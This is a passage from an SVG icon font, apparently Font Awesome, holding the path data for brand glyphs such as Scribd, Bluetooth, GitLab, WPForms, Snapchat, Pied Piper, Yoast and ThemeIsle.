-52.3311 -42.6406 -94.6934 -94.9688 -94.6934h-289.614c-62.5752 0 -113.243 50.668 -113.243 112.966c0 56.7598 42.085 103.554 96.6299 111.582 +c22.9814 67.5586 86.9395 114.074 159.205 114.074c87.2158 0 159.205 -66.7266 167.511 -151.729zM403.941 83.7412c29.0713 0 52.6064 23.5352 52.6064 52.3301c0 22.1494 -14.1211 40.9766 -33.502 48.4531c-1.38477 -8.58301 -3.59961 -17.166 -6.36914 -25.4727 +c-8.01367 -25.6484 -49.0898 -14.2266 -40.1465 13.29c4.15332 12.7373 6.36914 26.0264 6.36914 39.5938c0 69.2197 -56.4834 125.702 -125.979 125.702c-49.8379 0 -94.6934 -29.626 -114.628 -73.9258c19.3809 -4.98438 37.3779 -14.9512 52.0527 -29.3486 +c19.9531 -19.9531 -10.2168 -50.1436 -30.1797 -30.1807c-13.29 13.291 -31.0107 20.7666 -49.8379 20.7666c-39.04 0 -70.8809 -31.5645 -70.8809 -70.6045s31.8408 -70.6035 70.8809 -70.6035h289.614zM639.01 136.071c0 -44.0244 -12.7363 -86.3867 -37.1016 -122.657 +c-4.15332 -6.0918 -10.7979 -9.41406 -17.7197 -9.41406c-16.3174 0 -27.1279 18.8262 -17.4434 32.9492c19.3809 29.3486 29.9033 63.6816 29.9033 99.1221c0 35.4395 -10.5215 69.7725 -29.9033 98.8447c-15.6553 22.8311 19.3613 47.2402 35.1631 23.5342 +c24.3662 -35.9932 37.1016 -78.3564 37.1016 -122.379zM568.13 136.071c0 -31.5654 -9.13672 -62.0215 -26.8564 -88.3252c-4.15332 -6.09082 -10.7988 -9.13574 -17.7207 -9.13574c-17.2012 0 -27.0215 18.9785 -17.4424 32.9473 +c13.0127 19.1045 19.6572 41.2559 19.6572 64.5137c0 22.9805 -6.64453 45.4072 -19.6572 64.5117c-15.7617 22.9863 19.0078 47.0947 35.1631 23.5352c17.7188 -26.0264 26.8564 -56.4834 26.8564 -88.0469z" /> + <glyph glyph-name="scribd" unicode="" horiz-adv-x="384" +d="M42.2998 195.3c-16.0996 19 -24.7002 45.9004 -24.7998 79.9004c0 100.399 75.2002 153.1 167.2 153.1c98.5996 1.60059 156.8 -49 184.3 -70.5996l-50.5 -72.1006l-37.2998 24.6006l26.8994 38.5996c-36.5 24 -79.3994 36.5 -123 35.7998 +c-50.6992 0.800781 -111.699 -27.1992 -111.699 -76.1992c0 -18.7002 11.1992 -20.7002 28.5996 -15.6006c23.2998 5.2998 41.9004 -0.599609 55.7998 -14c26.4004 -24.2998 23.2002 -67.5996 -0.700195 -91.8994c-29.1992 -29.5 -85.1992 -27.3008 -114.8 8.39941z +M360 189.4c33.9004 -40.4004 36.7998 -138.2 -20.2998 -189.601c-39.2002 -33.5996 -82.2002 -44.0996 -133.601 -44.0996c-70.2998 -0.299805 -138.199 25.3994 -190.699 72.2002l-15.4004 13.7998l60.7998 71.7998l35.6006 -27.4004l-33.7002 -39.3994 +c41.7002 -30.9004 92.2002 -47.5 144.1 -47.2998c61.9004 0 104.7 23.5 121.4 64.3994c0.899414 4.2002 1.39941 8.40039 1.39941 12.7002c0 18.7002 -11.1992 20.7002 -28.5996 15.5996c-23.2998 -5.2998 -42.2002 0.5 -56.2998 14.4004 +c-12.4004 11.2998 -19.1006 27.5 -18.4004 44.2998c-0.599609 39.2002 32.4004 69.2002 70.5 67.2002c24.2998 0.799805 47.7002 -9.7998 63.2002 -28.5996z" /> + <glyph glyph-name="bluetooth" unicode="" +d="M292.6 276.9l-42.8994 -42.9004l-0.299805 86zM249.4 57.0996l0.199219 86l42.9004 -42.8994zM416 188.6c0 -205.6 -71.9004 -252.6 -185.1 -252.6c-113.2 0 -198.9 47 -198.9 252.6c0 205.601 83.4004 259.4 196.6 259.4c113.2 0 187.4 -53.9004 187.4 -259.4z +M257.5 188.6l79.4004 88.6006l-125.101 134.3v-176.9l-73.7998 73.8008l-27 -26.9004l92.7002 -93l-92.7002 -93l26.9004 -26.9004l73.7998 73.8008l2.2998 -170l127.4 127.5z" /> + <glyph glyph-name="bluetooth-b" unicode="" horiz-adv-x="320" +d="M196.48 187.977l97.9111 -103.333l-148.552 -148.644l-2.71484 198.284l-86.1113 -86.1113l-31.4053 31.4053l108.061 108.398l-108.061 108.399l31.4053 31.4053l86.1113 -86.1113v206.33l145.981 -156.69zM237.34 290.973l-50.3145 50.3174l0.337891 -100.295z +M187.363 134.96l-0.337891 -100.294l50.3145 50.3164z" /> + <glyph glyph-name="gitlab" unicode="" horiz-adv-x="512" +d="M105.2 423.1c0 0 56.5 -174.8 56.5996 -174.8h-132l56.5 174.8c3.2002 8.90039 15.7998 8.90039 18.9004 0zM0.900391 160.3l28.7998 88l226.2 -294l-247.9 184c-6.7998 5.10059 -9.7002 14 -7.09961 22zM161.7 248.3h188.6l-94.2998 -294zM511.1 160.3 +c2.5 -8 -0.299805 -16.8994 -7.19922 -22l-247.9 -184l226.3 294zM425.7 423.1l56.5 -174.8h-132l56.5996 174.8c3.2002 8.90039 15.7998 8.90039 18.9004 0z" /> + <glyph glyph-name="wpbeginner" unicode="" horiz-adv-x="512" +d="M462.799 125.626c56.2109 -64.3076 4.16211 -157.626 -91.8545 -157.626c-39.6025 0 -78.8242 17.6865 -100.143 50.04c-6.88672 -0.356445 -22.7021 -0.356445 -29.5898 0c-21.3643 -32.4209 -60.624 -50.04 -100.143 -50.04 +c-95.4902 0 -148.349 92.9961 -91.8555 157.626c-79.1387 131.851 31.2646 290.374 206.792 290.374c175.632 0 285.87 -158.626 206.793 -290.374zM123.152 208.598h41.5283v58.0752h-41.5283v-58.0752zM340.332 122.526v23.8389 +c-60.5059 -20.915 -132.355 -9.19824 -187.589 33.9707l0.246094 -24.8965c51.1006 -46.3672 131.746 -57.875 187.343 -32.9131zM189.579 208.598h166.058v58.0752h-166.058v-58.0752z" /> + <glyph glyph-name="wpforms" unicode="" +d="M448 372.8v-361.7c0 -24.2998 -19 -43.1992 -43.2002 -43.1992h-361.6c-23.9004 0.0996094 -43.2002 18.6992 -43.2002 43.2998v361.6c0 24.1006 18.7998 43.2002 43.2002 43.2002h361.7c24 0 43.0996 -18.7998 43.0996 -43.2002zM410.7 11.2002v361.6 +c0 3 -2.60059 5.7998 -5.7998 5.7998h-9.30078l-110.3 -74.5996l-61.2998 49.9004l-61.2002 -49.9004l-110.3 74.7002h-9.2998c-3.2002 0 -5.7998 -2.7998 -5.7998 -5.7998v-361.7c0 -3 2.59961 -5.7998 5.7998 -5.7998h361.7 +c3.19922 -0.100586 5.7998 2.69922 5.7998 5.7998zM150.2 262v-37h-73.5v37h73.5zM150.2 187.6v-37.2998h-73.5v37.2998h73.5zM161.3 334.9l54 43.6992h-118.5zM371.3 262v-37h-196v37h196zM371.3 187.6v-37.2998h-196v37.2998h196zM286.7 334.9l64.5 43.6992h-118.4z +M371.3 113v-37.2998h-99.3994v37.2998h99.3994z" /> + <glyph glyph-name="envira" unicode="" +d="M0 416c477.6 0 366.6 -317.3 367.1 -366.3l80.9004 -81.7002h-26l-70.4004 71.2002c-39 -4.2002 -124.399 -34.5 -214.399 37c-90.2002 71.5 -85.2002 157.1 -137.2 339.8zM79.7002 370c-49.7002 23.5 -5.2002 -9.2002 -5.2002 -9.2002 +c45.2002 -31.2002 66 -73.7002 90.2002 -119.899c31.5 -60.2002 79 -139.7 144.2 -167.7c65 -28 34.1992 -12.5 6 8.5c-28.2002 21.2002 -68.2002 87 -91 130.2c-31.7002 60 -61 118.6 -144.2 158.1z" /> + <glyph glyph-name="glide" unicode="" +d="M252.8 299.4c0 -8.80078 -1.59961 -17.7002 -3.39941 -26.4004c-5.80078 -27.7998 -11.6006 -55.7998 -17.3008 -83.5996c-1.39941 -6.30078 -8.2998 -4.90039 -13.6992 -4.90039c-23.8008 0 -30.5 26 -30.5 45.5c0 29.2998 11.1992 68.0996 38.5 83.0996 +c4.2998 2.5 9.19922 4.2002 14.0996 4.2002c11.4004 0 12.2998 -8.2998 12.2998 -17.8994zM448 368v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352c26.5 0 48 -21.5 48 -48zM384 181c0 5.09961 -20.7998 37.7002 -25.5 39.5 +c-2.2002 0.900391 -7.2002 2.2998 -9.59961 2.2998c-23.1006 0 -38.7002 -10.5 -58.2002 -21.5l-0.5 0.5c4.2998 29.4004 14.5996 57.2002 14.5996 87.4004c0 44.5996 -23.7998 62.7002 -67.5 62.7002c-71.7002 0 -108 -70.8008 -108 -123.5c0 -54.7002 32 -85 86.2998 -85 +c7.5 0 6.90039 0.599609 6.90039 -2.30078c-10.5 -80.2998 -56.5 -82.8994 -56.5 -58.8994c0 24.3994 28 36.5 28.2998 38c-0.200195 7.59961 -29.2998 17.2002 -36.7002 17.2002c-21.0996 0 -32.6992 -33 -32.6992 -50.6006c0 -32.2998 20.3994 -54.7002 53.2998 -54.7002 +c48.2002 0 83.3994 49.7002 94.2998 91.7002c9.40039 37.7002 7 39.4004 12.2998 42.1006c20 10.0996 35.7998 16.7998 58.4004 16.7998c11.0996 0 19 -2.2998 36.7002 -5.2002c1.7998 -0.0996094 4.09961 1.7002 4.09961 3.5z" /> + <glyph glyph-name="glide-g" unicode="" +d="M407.1 236.8c7.5 -2.89941 40.9004 -55.3994 40.9004 -63.3994c0 -2.90039 -3.7998 -5.80078 -6.7002 -5.80078c-28.3994 4.7002 -41.0996 8.40039 -58.8994 8.40039c-36.3008 0 -61.6006 -10.7998 -93.8008 -27c-8.5 -4.2998 -4.59961 -7.09961 -19.6992 -67.5996 +c-17.4004 -67.6006 -74 -145.4 -151.4 -145.4c-52.7002 0 -85.5 36 -85.5 87.9004c0 28.0996 18.5 79.1992 52.4004 79.2998c11.8994 0 58.5996 -15.4004 58.8994 -27.6006c-0.5 -2.39941 -45.5 -21.7998 -45.5 -61c0 -38.5 73.9004 -34.2998 90.7998 94.6006 +c0 4.7998 1 3.7998 -11 3.7998c-87.2998 0 -138.6 48.7002 -138.6 136.6c0 84.7002 58.2998 198.4 173.4 198.4c70.1992 0 108.399 -29.0996 108.399 -100.6c0 -48.5 -16.5 -93.1006 -23.5 -140.4l0.900391 -0.900391c31.2998 17.7002 56.3994 34.5 93.5 34.5 +c3.7998 0 11.8994 -2.39941 15.3994 -3.7998zM231.8 321.2c2.90039 13.8994 5.5 28.0996 5.60059 42.3994c0 15.4004 -1.40039 28.7002 -20 28.7002c-7.80078 0 -15.6006 -2.59961 -22.6006 -6.7002c-43.7998 -24.0996 -61.7998 -86.3994 -61.7998 -133.399 +c0 -31.2998 10.7002 -73.1006 49 -73.1006c8.7002 0 19.7002 -2.39941 22 7.80078c9.2002 44.6992 18.5 89.5996 27.7998 134.3z" /> + <glyph glyph-name="viadeo" unicode="" +d="M276.2 297.5v-0.700195c-17.9004 52.6006 -42.6006 103.4 -70.7998 151.2c43.2998 -29.2002 67 -100 70.7998 -150.5zM308.9 175.8c15.0996 3.10059 29.5 9 42.1992 17c24.5 -58.5996 20.2002 -139.7 -36.3994 -201c-67.7998 -73.8994 -191.9 -74.5996 -259.8 0 +c-108.801 117.8 -31.6006 313.7 129.899 313.7c21.2998 0 42.6006 -3.5 62.5 -10.7002c-6.89941 -13.3994 -11.7002 -28.2002 -13.3994 -43.2998c-15.4004 6.5 -32.3008 9.59961 -49.1006 9.59961c-78 0 -135.399 -66.6992 -135.399 -142.3 +c0 -68.7998 45.5996 -126 111.3 -137.399c98.5 38.3994 116.6 188.199 116.6 280c0 11.6992 0 23.6992 -1 35.3994c12.4004 -36.0996 18.9004 -73.8994 18.9004 -112c0 -86.5 -35.1006 -158.399 -109.3 -205.1l-3.80078 -0.299805 +c80 -1.60059 137.801 61.6992 137.801 139.399c0 19.5 -3.40039 38.7998 -11 57zM418.1 436.3c52 -74 20.9004 -208.6 -58.0996 -208.6c-21.2998 0 -40.2002 11.3994 -55 25.7998c35.0996 19.2998 79.4004 49.2002 99.7002 84.9004 +c2.39941 4.7998 6.5 13.6992 7.2002 19.1992c-19.9004 -44.6992 -70.8008 -79.6992 -118.2 -90.6992c-7.5 11.6992 -12 24.6992 -12 38.7998c0 16.5 8.2002 38.5 20.5996 50.5c34.5 32.8994 84.7998 13.5996 115.8 80.0996z" /> + <glyph glyph-name="viadeo-square" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM280.7 66.7998c35.3994 38.2998 38.0996 89 22.7998 125.601c-7.90039 -4.90039 -16.9004 -8.60059 -26.4004 -10.5 +c4.80078 -11.4004 6.90039 -23.5 6.90039 -35.7002c0 -48.6006 -36.2002 -88.2002 -86.2002 -87.2002l2.40039 0.200195c46.3994 29.2002 68.2998 74.0996 68.2998 128.2c0 23.7998 -4.09961 47.5 -11.7998 70v0.399414c-2.2998 31.6006 -17.1006 75.7998 -44.2002 94.1006 +c17.5996 -29.9004 33 -61.6006 44.2002 -94.5c0.599609 -7.30078 0.599609 -14.8008 0.599609 -22.1006c0 -57.3994 -11.3994 -151 -72.8994 -175c-41 7.2002 -69.5 42.9004 -69.5 85.9004c0 47.2002 35.7998 88.8994 84.5996 88.8994c10.5 0 21 -1.89941 30.7002 -6 +c1.09961 9.5 4.09961 18.7002 8.39941 27.1006c-12.5 4.59961 -25.7998 6.7002 -39.0996 6.7002c-101 0 -149.2 -122.5 -81.2002 -196.101c42.4004 -46.5996 120 -46.2002 162.4 0zM309 214.3c49.4004 0 68.7998 84.1006 36.2998 130.3 +c-19.3994 -41.5 -50.7998 -29.5 -72.3994 -50c-7.7002 -7.5 -12.9004 -21.2998 -12.9004 -31.5996c0 -8.7998 2.7998 -17 7.5 -24.2998c29.7002 6.89941 61.4004 28.7998 73.9004 56.7002c-0.400391 -3.40039 -3 -9 -4.5 -12c-12.7002 -22.3008 -40.4004 -41 -62.3008 -53 +c9.30078 -9 21.1006 -16.1006 34.4004 -16.1006z" /> + <glyph glyph-name="snapchat" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM417.5 101.1c2.2002 5.30078 -0.900391 9.80078 -4.90039 10.8008c-46.2998 7.59961 -67.0996 55.0996 -68 57.0996 +c-0.0996094 0.0996094 -0.0996094 0.200195 -0.199219 0.299805c-2.40039 5 -3 9.2002 -1.60059 12.5c2.60059 6.2998 12.5 9.40039 19 11.5c1.7998 0.600586 3.5 1.10059 4.90039 1.7002c11.5 4.5 17.2998 10.0996 17.2002 16.5996 +c-0.100586 5.10059 -4.10059 9.60059 -10.4004 11.9004c-4 1.59961 -9.59961 1.90039 -13.5996 0c-5.5 -2.59961 -10.4004 -4 -14.7002 -4.2002c-2.7998 0.100586 -4.60059 0.799805 -5.7002 1.40039c1.40039 24 4.7002 58 -3.7998 77.0996 +c-16.2998 36.5 -49.6006 54.2998 -84.2998 54.2998c-0.600586 0 -6.10059 -0.0996094 -6.7002 -0.0996094c-14 0 -61.6006 -4 -84.1006 -54.2998c-8.5 -19.1006 -5.19922 -53.2002 -3.7998 -77.1006c-1.09961 -0.599609 -3.2998 -1.39941 -6.59961 -1.39941 +c-4.5 0 -9.7998 1.39941 -15.7002 4.2002c-7.5 3.5 -20.2998 -1.80078 -21.9004 -10.3008c-1 -4.89941 1.2002 -12.0996 17 -18.2998c6.10059 -2.5 20.6006 -5.2998 24 -13.2002c1.40039 -3.2998 0.900391 -7.5 -1.59961 -12.5 +c-0.0996094 -0.0996094 -0.200195 -0.199219 -0.200195 -0.299805c-0.899414 -2 -21.7002 -49.5 -68 -57.0996c-3.59961 -0.600586 -6.09961 -3.7998 -5.89941 -7.40039c0.699219 -13.8994 31.6992 -19.2998 45.5 -21.3994c1.39941 -1.90039 2.5 -9.90039 4.2998 -16 +c0.799805 -2.7002 2.89941 -6 8.2998 -6s13.2998 3.09961 25.7998 3.09961c17.6006 0 23.6006 -4 37.4004 -13.7002c9.89941 -7 27.5 -19.7998 48.5 -18.2002c20.7998 -0.899414 34.7002 7.90039 49.2002 18.2002c13.6992 9.7002 19.7998 13.7002 37.3994 13.7002 +c13 0 19.6006 -2.90039 25.7998 -2.90039h0.200195c4.40039 0 7 2.2002 8.10059 5.90039c1.7998 6.09961 2.89941 14 4.2998 15.9004c26.7002 4.19922 41.2998 10.0996 44.7998 18.1992z" /> + <glyph glyph-name="snapchat-ghost" unicode="" horiz-adv-x="512" +d="M510.846 55.3271c-5.21094 -12.1572 -27.2383 -21.0889 -67.3594 -27.3184c-2.06445 -2.78613 -3.77539 -14.6855 -6.50781 -23.9561c-1.625 -5.56543 -5.62207 -8.86914 -12.1279 -8.86914l-0.296875 0.00585938c-9.39453 0 -19.2031 4.32227 -38.8516 4.32227 +c-26.5215 0 -35.6621 -6.04297 -56.2539 -20.5879c-21.832 -15.4375 -42.7715 -28.7637 -74.0273 -27.3984c-31.6455 -2.33398 -58.0244 16.9072 -72.8711 27.4033c-20.7139 14.6436 -29.8281 20.582 -56.2412 20.582c-18.8633 0 -30.7354 -4.71973 -38.8516 -4.71973 +c-8.07324 0 -11.2129 4.92188 -12.4219 9.04004c-2.70312 9.18848 -4.4043 21.2627 -6.52344 24.1299c-20.6787 3.20898 -67.3096 11.3438 -68.498 32.1504c-0.0107422 0.196289 -0.015625 0.393555 -0.015625 0.591797c0 5.27148 3.85645 9.64355 8.89258 10.4766 +c69.583 11.4551 100.925 82.9014 102.228 85.9346c0.0742188 0.175781 0.155273 0.34375 0.237305 0.514648c3.71289 7.53711 4.54395 13.8486 2.46289 18.7529c-5.05078 11.8965 -26.8721 16.1641 -36.0537 19.7959c-23.7148 9.36621 -27.0146 20.1279 -25.6113 27.5039 +c2.43652 12.8359 21.7246 20.7354 33.002 15.4531c8.91895 -4.18066 16.8428 -6.29688 23.5469 -6.29688c5.02148 0 8.21191 1.2041 9.95996 2.1709c-2.04297 35.9365 -7.10156 87.29 5.68652 115.969c33.7734 75.7188 105.356 81.6025 126.478 81.6025 +c0.943359 0 9.14062 0.0888672 10.1094 0.0888672c52.1484 0 102.255 -26.7803 126.724 -81.6426c12.7764 -28.6504 7.74902 -79.792 5.69434 -116.01c1.58203 -0.87207 4.35742 -1.94141 8.59961 -2.13867c6.39648 0.286133 13.8145 2.38867 22.0693 6.25684 +c6.08496 2.84668 14.4053 2.46094 20.4795 -0.0576172l0.0292969 -0.00976562c9.47559 -3.38574 15.4385 -10.2158 15.5889 -17.8701c0.183594 -9.74707 -8.52246 -18.165 -25.8779 -25.0186c-2.11816 -0.834961 -4.69434 -1.6543 -7.43457 -2.52441 +c-9.79688 -3.10645 -24.5996 -7.80566 -28.6152 -17.2715c-2.0791 -4.9043 -1.25684 -11.2109 2.45996 -18.748c0.0869141 -0.167969 0.166016 -0.341797 0.238281 -0.514648c1.30176 -3.03027 32.6152 -74.46 102.23 -85.9346 +c6.42676 -1.05762 11.1631 -7.87695 7.72461 -15.8584z" /> + <glyph glyph-name="snapchat-square" unicode="" +d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM393.5 101.1c2.2002 5.30078 -0.900391 9.80078 -4.90039 10.8008c-46.2998 7.59961 -67.0996 55.0996 -68 57.0996 +c-0.0996094 0.0996094 -0.0996094 0.200195 -0.199219 0.299805c-2.40039 5 -3 9.2002 -1.60059 12.5c2.60059 6.2998 12.5 9.40039 19 11.5c1.7998 0.600586 3.5 1.10059 4.90039 1.7002c11.5 4.5 17.2998 10.0996 17.2002 16.5996 +c-0.100586 5.10059 -4.10059 9.60059 -10.4004 11.9004c-4 1.59961 -9.59961 1.90039 -13.5996 0c-5.5 -2.59961 -10.4004 -4 -14.7002 -4.2002c-2.7998 0.100586 -4.60059 0.799805 -5.7002 1.40039c1.40039 24 4.7002 58 -3.7998 77.0996 +c-16.2998 36.5 -49.6006 54.2998 -84.2998 54.2998c-0.600586 0 -6.10059 -0.0996094 -6.7002 -0.0996094c-14 0 -61.6006 -4 -84.1006 -54.2998c-8.5 -19.1006 -5.19922 -53.2002 -3.7998 -77.1006c-1.09961 -0.599609 -3.2998 -1.39941 -6.59961 -1.39941 +c-4.5 0 -9.7998 1.39941 -15.7002 4.2002c-7.5 3.5 -20.2998 -1.80078 -21.9004 -10.3008c-1 -4.89941 1.2002 -12.0996 17 -18.2998c6.10059 -2.5 20.6006 -5.2998 24 -13.2002c1.40039 -3.2998 0.900391 -7.5 -1.59961 -12.5 +c-0.0996094 -0.0996094 -0.200195 -0.199219 -0.200195 -0.299805c-0.899414 -2 -21.7002 -49.5 -68 -57.0996c-3.59961 -0.600586 -6.09961 -3.7998 -5.89941 -7.40039c0.699219 -13.8994 31.6992 -19.2998 45.5 -21.3994c1.39941 -1.90039 2.5 -9.90039 4.2998 -16 +c0.799805 -2.7002 2.89941 -6 8.2998 -6s13.2998 3.09961 25.7998 3.09961c17.6006 0 23.6006 -4 37.4004 -13.7002c9.89941 -7 27.5 -19.7998 48.5 -18.2002c20.7998 -0.899414 34.7002 7.90039 49.2002 18.2002c13.6992 9.7002 19.7998 13.7002 37.3994 13.7002 +c13 0 19.6006 -2.90039 25.7998 -2.90039h0.200195c4.40039 0 7 2.2002 8.10059 5.90039c1.7998 6.09961 2.89941 14 4.2998 15.9004c26.7002 4.19922 41.2998 10.0996 44.7998 18.1992z" /> + <glyph glyph-name="pied-piper" unicode="" horiz-adv-x="480" +d="M455.93 424.8c9.41992 2.40039 15.0703 -10.25 6.99023 -15.6797c-98.2295 -65.9199 -120.439 -127.561 -126.229 -160.18c-33.5205 -188.881 -101.37 -119.32 -184.311 -226.65c25.7607 -14.8125 55.8076 -23.3984 87.6299 -23.4004 +c97.6504 0 177.09 79.4502 177.09 177.11c-0.00488281 45.0508 -16.9824 86.25 -44.8496 117.41c4.72754 9.75293 10.4238 18.9131 17 27.3994c36.3574 -37.3457 58.75 -88.3779 58.75 -144.564v-0.245117c0 -114.87 -93.1299 -208 -208 -208s-208 93.1201 -208 208 +s93.1299 208 208 208c36.7422 -0.000976562 71.4697 -9.77246 101.35 -26.6602c46.4404 38.9697 87.8809 60.6602 114.58 67.46zM125 41.5996c64.7695 140.881 125.64 231.641 191.63 293.75c-23.0674 11.3037 -49.1611 17.75 -76.5615 17.75h-0.0683594 +c-97.6504 0 -177.1 -79.4395 -177.1 -177.1c0.0234375 -53.8203 24.0684 -102.002 62.0996 -134.4z" /> + <glyph glyph-name="first-order" unicode="" +d="M12.9004 218.8c0.0996094 0.100586 0.199219 0.299805 0.299805 0.400391c0 -0.100586 0 -0.299805 -0.100586 -0.400391h-0.199219zM224 351.4c7.40039 0 14.5996 -0.5 21.7002 -1.7002l-4 -67.7002l22.2998 64.2998c14.2998 -3.7998 27.7002 -9.5 40 -16.8994 +l-29.4004 -61.1006l45.1006 50.9004c11.5 -8.90039 21.7002 -19.2002 30.5996 -30.9004l-50.5996 -45.3994l60.8994 29.6992c7.5 -12.2998 12.9004 -26 16.6006 -40.2998l-64 -22.2998l67.7002 4c1.09961 -7.09961 1.39941 -14.5996 1.39941 -22 +s-0.299805 -14.5996 -1.39941 -21.7002l-67.4004 4l64 -22.2998c-3.7002 -14.5996 -9.5 -28 -16.5996 -40.2998l-61.1006 29.3994l50.6006 -45.0996c-8.60059 -11.7998 -18.9004 -22 -30.6006 -30.9004l-44.8994 50.9004l29.3994 -61.2998 +c-12.2998 -7.5 -25.7002 -12.9004 -40 -16.9004l-22.5996 65.1006l4 -68.6006c-7.10059 -1.09961 -14.2998 -1.7002 -21.7002 -1.7002c-7.09961 0 -14.5996 0.600586 -21.7002 1.7002l4 68l-22.2998 -64.5996c-14.2998 3.7998 -27.7002 9.5 -40 16.8994l29.5 61.4004 +l-44.9004 -50.9004c-11.7998 8.60059 -22 19.2002 -30.8994 30.9004l50.8994 45.0996l-61.0996 -29.6992c-7.2002 12.5996 -12.9004 26 -16.5996 40.2998l64 22.5996l-67.7002 -4c-0.799805 7.10059 -1.40039 14.2998 -1.40039 21.7002s0.5 14.9004 1.40039 22l68 -4 +l-64.2998 22.5996c3.69922 14.3008 9.5 27.7002 16.5996 40l61.0996 -29.6992l-50.5996 45.3994c8.90039 11.7998 19.2002 22 30.5996 30.9004l45.1006 -50.9004l-29.4004 61.4004c12.2998 7.2002 25.7002 12.8994 40 16.5996l22 -64l-3.7002 67.4004 +c6.80078 1.09961 14.3008 1.7002 21.4004 1.7002zM443.4 320v-256l-219.4 -128l-219.4 128v256l219.4 128zM426.3 309.7l-202.3 117.399l-202.3 -117.399v-235.101l202.3 -117.699l202.3 117.699v235.101zM224 410.9l187.7 -109.4v-218.9l-187.7 -109.5l-187.7 109.5 +v218.801zM224 360c-92.2998 0 -166.9 -75.0996 -166.9 -168c0 -92.5996 74.6006 -167.7 166.9 -167.7c92 0 166.9 75.1006 166.9 167.7c0 92.9004 -74.9004 168 -166.9 168z" /> + <glyph glyph-name="yoast" unicode="" +d="M91.2998 372h186l-7 -18.9004h-179c-39.7002 0 -71.8994 -31.5996 -71.8994 -70.2998v-205.399c0 -35.4004 24.8994 -70.3008 84 -70.3008v-19.0996h-12.1006c-50.0996 0 -91.2998 40.2002 -91.2998 89.5v205.3c0 49.2998 40.7002 89.2002 91.2998 89.2002zM320.4 428 +h66.5c-143.801 -378.1 -145.7 -398.9 -184.7 -439.3c-20.7998 -21.6006 -49.2998 -31.7002 -78.2998 -32.7002v51.0996c49.1992 7.7002 64.5996 49.9004 64.5996 75.3008c0 20.0996 0.599609 12.5996 -82.0996 223.199h61.3994l50.4004 -156.6zM448 286.5v-298.5h-214 +c6.59961 9.59961 10.7002 16.2998 12.0996 19.4004h182.5v279.1c0 32.5 -17.0996 51.9004 -48.1992 62.9004l6.69922 17.5996c41.7002 -13.5996 60.9004 -43.0996 60.9004 -80.5z" /> + <glyph glyph-name="themeisle" unicode="" horiz-adv-x="512" +d="M208 359.714c0 10 6.28613 21.7139 17.7148 21.7139c11.1426 0 17.7139 -11.7139 17.7139 -21.7139c0 -10.2852 -6.57129 -21.7139 -17.7139 -21.7139c-11.4287 0 -17.7148 11.4287 -17.7148 21.7139zM512 199.714c0 -36.001 -11.4287 -102.286 -36.2861 -129.714 +c-22.8574 -24.8584 -87.4277 -61.1426 -120.856 -70.5723l-1.14355 -0.286133v-32.5703c0 -16.2861 -12.5723 -30.5713 -29.1426 -30.5713c-10 0 -19.4297 5.71387 -24.5723 14.2861c-5.42676 -8.57227 -14.8564 -14.2861 -24.8564 -14.2861 +s-19.4287 5.71387 -24.8574 14.2861c-5.14258 -8.57227 -14.5713 -14.2861 -24.5703 -14.2861c-10.2861 0 -19.4287 5.71387 -24.8574 14.2861c-5.14355 -8.57227 -14.5713 -14.2861 -24.5713 -14.2861c-18.8574 0 -29.4287 15.7139 -29.4287 32.8574 +c-16.2861 -12.2852 -35.7158 -19.4287 -56.5713 -19.4287c-22 0 -43.4287 8.28516 -60.2861 22.8574c10.2852 0.286133 20.5713 2.28613 30.2852 5.71387c-20.8574 5.71387 -39.4277 18.8574 -52 36.2861c21.3701 -4.64551 46.209 -1.67285 67.1426 11.1426 +c-22 22 -56.5703 58.8574 -68.5713 87.4287c-5.71387 13.4287 -6.85645 31.4287 -6.85645 45.7139c0 49.7139 20.2861 160 86.2861 160c10.5713 0 18.8564 -4.8584 23.1426 -14.8574c3.7041 5.41992 7.6709 10.5186 12 15.4277c2 2.57227 5.71387 5.42969 7.14355 8.28613 +c7.99902 12.5713 11.7139 21.1426 21.7139 34c32.2852 41.1445 81.7139 69.4297 134.856 69.4297c6 0 12 -0.285156 17.7148 -1.14355c10.8564 11.7148 26 18.2861 41.7148 18.2861c14.5703 0 29.7139 -6 40 -16.2861c0.856445 -0.857422 1.42773 -2.28613 1.42773 -3.42773 +c0 -3.71387 -10.2852 -13.4287 -12.8574 -16.2861c4.28613 -1.42871 15.7148 -6.8584 15.7148 -12c0 -2.85742 -2.85742 -5.14258 -4.57129 -7.14258c31.4287 -27.7148 49.4287 -67.1436 56.2861 -108c4.28613 5.14258 10.2852 8.57129 17.1426 8.57129 +c10.5713 0 20.8574 -7.14355 28.5713 -14.001c20.8564 -18.5703 25.7139 -53.1416 25.7139 -79.7139zM188 358.572c0 -18.2861 12.5713 -37.1436 32.2861 -37.1436c19.7139 0 32.2852 18.8574 32.2852 37.1436c0 18 -12.5713 36.8564 -32.2852 36.8564 +c-19.7148 0 -32.2861 -18.8574 -32.2861 -36.8564zM237.714 254c0 19.7139 3.71387 39.1426 8.57129 58.2861c-52.0391 -79.5342 -13.5312 -184.571 68.8574 -184.571c21.4287 0 42.5713 7.71387 60 20c2 7.42871 3.71484 14.8574 3.71484 22.5723 +c0 14.2861 -6.28613 21.4277 -20.5723 21.4277c-4.57129 0 -9.14355 -0.856445 -13.4287 -1.71387c-63.3438 -12.668 -107.143 -3.66895 -107.143 63.999zM196.572 -0.858398c0 11.1436 -8.8584 20.8574 -20.2861 20.8574c-11.4287 0 -20 -9.71484 -20 -20.8574v-32.5703 +c0 -11.1436 8.57129 -21.1426 20 -21.1426c11.4277 0 20.2861 9.71484 20.2861 21.1426v32.5703zM245.715 -0.858398c0 11.1436 -8.57227 20.8574 -20 20.8574c-11.4287 0 -20.2861 -9.71484 -20.2861 -20.8574v-32.5703c0 -11.1436 8.85742 -21.1426 20.2861 -21.1426 +c11.4277 0 20 10 20 21.1426v32.5703zM295.428 -0.858398c0 11.1436 -8.85645 20.8574 -20.2852 20.8574s-20.2852 -9.71484 -20.2852 -20.8574v-32.5703c0 -11.1436 8.85645 -21.1426 20.2852 -21.1426s20.2852 